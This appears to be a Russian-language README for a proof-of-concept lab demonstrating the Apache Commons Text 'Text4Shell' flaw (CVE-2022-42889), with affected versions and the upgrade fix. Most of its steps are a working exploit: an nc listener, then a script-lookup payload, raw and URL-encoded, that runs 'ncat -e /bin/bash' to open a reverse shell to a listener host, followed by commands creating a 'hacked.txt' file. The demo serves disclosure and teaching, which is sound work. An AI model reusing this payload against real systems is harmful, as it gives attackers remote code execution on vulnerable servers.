CVE-2022-42889-POC

Доказательство концепции для уязвимости Apache commons-text CVE-2022-42889.

В чём проблема:

Apache Commons Text выполняет интерполяцию переменных, позволяя свойствам динамически вычисляться и подставляться. Стандартный формат интерполяции — "${prefix:name}", где "prefix" используется для поиска экземпляра org.apache.commons.text.lookup.StringLookup, который выполняет интерполяцию. Начиная с версии 1.5 и вплоть до 1.9, набор стандартных экземпляров Lookup включал интерполяторы, которые могли приводить к выполнению произвольного кода или контакту с удалёнными серверами. Эти lookup-механизмы: - "script" - выполняет выражения с помощью движка выполнения сценариев JVM (javax.script) - "dns" - разрешает DNS-записи - "url" - загружает значения из URL, включая удалённые серверы. Приложения, использующие интерполяцию по умолчанию в затронутых версиях, могут быть уязвимы к удалённому выполнению кода или непреднамеренному контакту с удалёнными серверами, если используются недоверенные значения конфигурации.

Затронутые версии:

Apache Commons Text версии с 1.5 по 1.9

Пошаговое руководство по демонстрации уязвимости CVE-2022-42889-POC:

1. Соберите приложение с помощью Docker (вкладка терминала 1)

docker build --tag=test/text4shell .

2. Запустите приложение (вкладка терминала 2)

docker run -it -p 80:8080 --name text4shell test/text4shell

3. Откройте новую вкладку терминала и выполните команду ниже (вкладка терминала 3)

docker exec -it text4shell /bin/bash

4. Теперь пора запустить слушатель для reverse shell на вашей локальной системе (вкладка терминала 4)

nc -nlvp 8888

5. Проверьте приложение (вкладка терминала 5)

curl http://localhost/text4shell/attack?search=<anything>

6. Теперь пора проверить атаку (вкладка терминала 5)

Атака может быть выполнена путём передачи строки "${prefix:name}" где префикс — это вышеупомянутый lookup: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}

curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D

7. Перейдите на вкладку терминала 3 и выполните следующие команды по очереди

pwd
cd /root
pwd
ls

8. Перейдите на вкладку терминала 5 и выполните следующие команды по очереди

pwd
cd /root
pwd
ls
touch hacked.txt
ls

9. Перейдите на вкладку терминала 3 и выполните следующие команды по очереди

pwd
ls

Если после команды ls на вкладке терминала 3 вы видите файл hacked.txt, значит, атака выполнена.

10. Закройте все терминалы

Как исправить эту уязвимость:

Пользователям рекомендуется обновиться до Apache Commons Text 1.10.0, в котором проблемные интерполяторы отключены по умолчанию.

Дополнительная информация:

• NVD-NIST